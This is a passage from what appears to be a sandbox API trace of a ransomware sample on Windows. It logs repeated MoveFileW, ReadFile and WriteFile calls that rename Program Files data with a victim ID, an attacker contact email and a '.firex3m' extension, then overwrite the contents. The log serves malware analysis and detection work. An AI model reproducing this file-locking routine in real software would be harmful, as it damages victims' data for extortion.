(lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0xe408c02c, dwReserved1=0x6f0063, cFileName="RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMNSQU~2.FIR")) returned 0x6d5480 [0225.229] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0225.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0225.230] GetProcessHeap () returned 0x630000 [0225.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0750 [0225.230] GetProcessHeap () returned 0x630000 [0225.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0f48 [0225.230] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.230] ReadFile (in: hFile=0x698, lpBuffer=0x6f0750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0750*, lpNumberOfBytesRead=0x4abff0c*=0x260, lpOverlapped=0x0) returned 1 [0225.233] GetProcessHeap () returned 0x630000 [0225.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0225.233] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.233] WriteFile (in: hFile=0x698, lpBuffer=0x6f0f48*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f48*, lpNumberOfBytesWritten=0x4abff0c*=0x260, lpOverlapped=0x0) returned 1 [0225.757] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.757] WriteFile (in: hFile=0x698, lpBuffer=0x6f11a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11a7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.758] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.758] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.758] CloseHandle (hObject=0x698) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0f48 | out: hHeap=0x630000) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0750 | out: hHeap=0x630000) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0225.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x4abfd20, dwReserved1=0x6f0750, cFileName="RMNSQUE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMNSQU~2.FIR")) returned 0x6d5040 [0225.959] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0225.959] Sleep (dwMilliseconds=0x1) [0225.973] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x4abff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml") returned 1 [0225.973] GetProcessHeap () returned 0x630000 [0225.973] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0225.973] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.092] CloseHandle (hObject=0x3f8) returned 1 [0226.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.093] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0226.130] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0226.130] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.130] GetProcessHeap () returned 0x630000 [0226.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6d9b40 [0226.130] GetProcessHeap () returned 0x630000 [0226.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6d9e28 [0226.130] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.130] ReadFile (in: hFile=0x3f8, lpBuffer=0x6d9b40, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9b40*, lpNumberOfBytesRead=0x4abff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0226.135] GetProcessHeap () returned 0x630000 [0226.135] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0226.135] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.135] WriteFile (in: hFile=0x3f8, lpBuffer=0x6d9e28*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9e28*, lpNumberOfBytesWritten=0x4abff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0226.135] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.135] WriteFile (in: hFile=0x3f8, lpBuffer=0x6da0c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6da0c7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.135] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.135] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.135] CloseHandle (hObject=0x3f8) returned 1 [0226.136] GetProcessHeap () returned 0x630000 [0226.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9e28 | out: hHeap=0x630000) returned 1 [0226.136] GetProcessHeap () returned 0x630000 [0226.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9b40 | out: hHeap=0x630000) returned 1 [0226.136] GetProcessHeap () returned 0x630000 [0226.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0226.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cbd5294, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x4abfd20, dwReserved1=0x6d9b40, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5380 [0226.136] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0226.136] Sleep (dwMilliseconds=0x1) [0226.193] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\Defendericon.png", len=0x32 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Defender\\Defendericon.png") returned 1 [0226.193] GetProcessHeap () returned 0x630000 [0226.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c0) returned 0x6fe3bb0 [0226.194] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\Defendericon.png" (normalized: "c:\\program files\\windows defender\\defendericon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.342] Sleep (dwMilliseconds=0x1) [0226.368] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\winscp.exe", len=0x47 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\winscp.exe") returned 1 [0226.368] GetProcessHeap () returned 0x630000 [0226.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5214) returned 0x6fe3bb0 [0226.368] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\winscp.exe" (normalized: "c:\\program files\\windows defender advanced threat protection\\winscp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.369] Sleep (dwMilliseconds=0x1) [0228.433] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml") returned 1 [0228.433] GetProcessHeap () returned 0x630000 [0228.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x510c) returned 0x6fe3bb0 [0228.433] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0228.434] CloseHandle (hObject=0x714) returned 1 [0228.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0228.435] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0228.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0228.436] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0228.436] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0228.436] GetProcessHeap () returned 0x630000 [0228.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0228.436] GetProcessHeap () returned 0x630000 [0228.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0228.436] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.436] ReadFile (in: hFile=0x714, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x4abff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0228.439] GetProcessHeap () returned 0x630000 [0228.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0228.439] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.439] WriteFile (in: hFile=0x714, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x4abff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0228.439] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.439] WriteFile (in: hFile=0x714, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0228.439] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.439] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0228.441] CloseHandle (hObject=0x714) returned 1 [0228.441] GetProcessHeap () returned 0x630000 [0228.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0228.441] GetProcessHeap () returned 0x630000 [0228.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0228.441] GetProcessHeap () returned 0x630000 [0228.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0228.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4e1bfc9d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x4abfd20, dwReserved1=0x74aa440, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0228.441] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0228.441] Sleep (dwMilliseconds=0x1) [0228.512] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui", len=0x3d | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui") returned 1 [0228.512] GetProcessHeap () returned 0x630000 [0228.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0228.512] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\wordpad.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.513] Sleep (dwMilliseconds=0x1) [0228.529] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Photo Viewer\\whatsapp.exe", len=0x32 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Photo Viewer\\whatsapp.exe") returned 1 [0228.529] GetProcessHeap () returned 0x630000 [0228.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0228.529] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\whatsapp.exe" (normalized: "c:\\program files\\windows photo viewer\\whatsapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.529] Sleep (dwMilliseconds=0x1) [0228.542] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Portable Devices\\icq.exe", len=0x31 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Portable Devices\\icq.exe") returned 1 [0228.542] GetProcessHeap () returned 0x630000 [0228.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0228.542] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\icq.exe" (normalized: "c:\\program files\\windows portable devices\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.543] Sleep (dwMilliseconds=0x1) [0228.558] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Portable Devices\\aldelo.exe", len=0x34 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Portable Devices\\aldelo.exe") returned 1 [0228.559] GetProcessHeap () returned 0x630000 [0228.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0228.559] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\aldelo.exe" (normalized: "c:\\program files\\windows portable devices\\aldelo.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.559] Sleep (dwMilliseconds=0x1) [0228.573] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Photo Viewer\\naughtygoverning.exe", len=0x3a | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Photo Viewer\\naughtygoverning.exe") returned 1 [0228.574] GetProcessHeap () returned 0x630000 [0228.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0228.574] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\naughtygoverning.exe" (normalized: "c:\\program files\\windows photo viewer\\naughtygoverning.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 